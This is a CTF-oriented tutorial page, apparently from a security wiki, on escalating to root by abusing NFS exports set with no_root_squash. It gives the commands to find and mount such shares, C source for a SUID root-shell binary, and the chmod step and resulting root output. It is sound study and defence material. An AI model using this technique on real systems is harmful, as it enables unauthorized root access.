🚩
Practical CTF
BlogContact
  • 🚩Home - Practical CTF
  • 🌐Web
    • Enumeration
      • Finding Hosts & Domains
      • Masscan
      • Nmap
      • OSINT
    • Client-Side
      • Cross-Site Scripting (XSS)
        • HTML Injection
        • Content-Security-Policy (CSP)
      • CSS Injection
      • Cross-Site Request Forgery (CSRF)
      • XS-Leaks
      • Window Popup Tricks
      • Header / CRLF Injection
      • WebSockets
      • Caching
    • Server-Side
      • SQL Injection
      • NoSQL Injection
      • GraphQL
      • XML External Entities (XXE)
      • HTTP Request Smuggling
      • Local File Disclosure
      • Arbitrary File Write
      • Reverse Proxies
    • Frameworks
      • Flask
      • Ruby on Rails
      • NodeJS
      • Bun
      • WordPress
      • Angular
    • Chrome Remote DevTools
    • ImageMagick
  • 🔣Cryptography
    • Encodings
    • Ciphers
    • Custom Ciphers
      • Z3 Solver
    • XOR
    • Asymmetric Encryption
      • RSA
      • Diffie-Hellman
      • PGP / GPG
    • AES
    • Hashing
      • Cracking Hashes
      • Cracking Signatures
    • Pseudo-Random Number Generators (PRNG)
    • Timing Attacks
    • Blockchain
      • Smart Contracts
      • Bitcoin addresses
  • 🔎Forensics
    • Wireshark
    • File Formats
    • Archives
    • Memory Dumps (Volatility)
    • VBA Macros
    • Grep
    • Git
    • File Recovery
  • ⚙️Reverse Engineering
    • Ghidra
    • Angr Solver
    • Reversing C# - .NET / Unity
    • PowerShell
  • 📟Binary Exploitation
    • ir0nstone's Binary Exploitation Notes
    • Reverse Engineering for Pwn
    • PwnTools
    • ret2win
    • ret2libc
    • Shellcode
    • Stack Canaries
    • Return-Oriented Programming (ROP)
      • SigReturn-Oriented Programming (SROP)
      • ret2dlresolve
    • Sandboxes (chroot, seccomp & namespaces)
    • Race Conditions
  • 📲Mobile
    • Setup
    • Reversing APKs
    • Patching APKs
    • HTTP(S) Proxy for Android
    • Android Backup
    • Compiling C for Android
    • iOS
  • 🌎Languages
    • PHP
    • Python
    • JavaScript
      • Prototype Pollution
      • postMessage Exploitation
    • Java
    • C#
    • Assembly
    • Markdown
    • LaTeX
    • JSON
    • YAML
    • CodeQL
    • NASL (Nessus Plugins)
    • Regular Expressions (RegEx)
  • 🤖Networking
    • Modbus - TCP/502
    • Redis/Valkey - TCP/6379
  • 🐧Linux
    • Shells
    • Bash
    • Linux Privilege Escalation
      • Enumeration
      • Networking
      • Command Triggers
      • Command Exploitation
      • Outdated Versions
      • Network File Sharing (NFS)
      • Docker
      • Filesystem Permissions
    • Analyzing Processes
  • 🪟Windows
    • The Hacker Recipes - AD
    • Scanning/Spraying
    • Exploitation
    • Local Enumeration
    • Local Privilege Escalation
    • Windows Authentication
      • Kerberos
      • NTLM
    • Lateral Movement
    • Active Directory Privilege Escalation
    • Persistence
    • Antivirus Evasion
    • Metasploit
    • Alternate Data Streams (ADS)
  • ☁️Cloud
    • Kubernetes
    • Microsoft Azure
  • ❔Other
    • Business Logic Errors
    • Password Managers
    • ANSI Escape Codes
    • WSL Tips
Powered by GitBook
On this page
  • Finding NFS folders
  • Finding NFS folders from the outside
  • Uploading a SUID binary
  1. Linux
  2. Linux Privilege Escalation

Network File Sharing (NFS)

Sharing a fileserver over the network sometimes allows you to upload files as root and escalate privileges

Finding NFS folders

To find a list of all configured NFS folders, just look in the /etc/exports file.

cat /etc/exports

This file shows the directories paths and the rules for sharing. An example would be the following:

/home/backup *(rw,sync,insecure,no_root_squash,no_subtree_check)
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_subtree_check)

The danger here is the no_root_squash option. If you see this, it means that any files uploaded here will keep their root privileges. We can abuse this to upload programs that can be run as root on the target machine.

Finding NFS folders from the outside

We can also find these locations from our host machine, but without the rules associated with them. Using the showmount -e command, which will show a list of folders like this:

$ showmount -e 10.10.158.49
Export list for 10.10.158.49: 
/home/ubuntu/sharedfolder * 
/tmp * 
/home/backup *

Uploading a SUID binary

The trick to exploiting this is to upload a SUID binary that executes the code we want. Then we can run it as the user we have on the target system and elevate ourselves to root privileges.

We'll start by connecting to the target machine, by mounting it to a local folder. First, make a folder somewhere that will be mounted to the target. Then mount it using the mount command to one of the target's folders with the no_root_squash set. Finally, to make it easier for myself, I change the owner of the target_tmp directory on my host to my own user, because we created it with sudo.

mkdir target_tmp
sudo mount -o rw 10.10.158.49:/tmp target_tmp/
sudo chown $USER:$(id -g) target_tmp/

Tip: You can view your active mounts by looking at your /proc/mounts file. Then when you want to disconnect you can unmount the directory with the umount command.

Now the target_tmp folder is connected to the target machine's /tmp directory. Then we can start creating the malicious binary, that executes the /bin/bash command for example.

shell.c
int main() {
  setuid(0);
  setgid(0);
  system("/bin/bash");
  return 0;
}

Then we can compile it into the target directory. Make sure you use sudo for the gcc command to ensure that the file owner is root when we upload it.

sudo gcc shell.c -o target_tmp/shell

Finally, we need to set the SUID bit on this binary, to make sure that when we execute it our privileges get set to root.

sudo chmod u+s target_tmp/shell

Now if we look from the target machine, we see that we have created a shell program that is owned by root, and has the SUID bit set (seen by the s in the permissions).

$ ls -laF /tmp/shell
-rwsr-xr-x 1 root root 16784 Feb 27 09:42 /tmp/shell*
   ^

This means we can now just run the /tmp/shell program on the target with our low-privilege user, to get a root shell.

$ /tmp/shell
# id
uid=0(root) gid=0(root) groups=0(root)
PreviousOutdated VersionsNextDocker

Last updated 10 months ago

🐧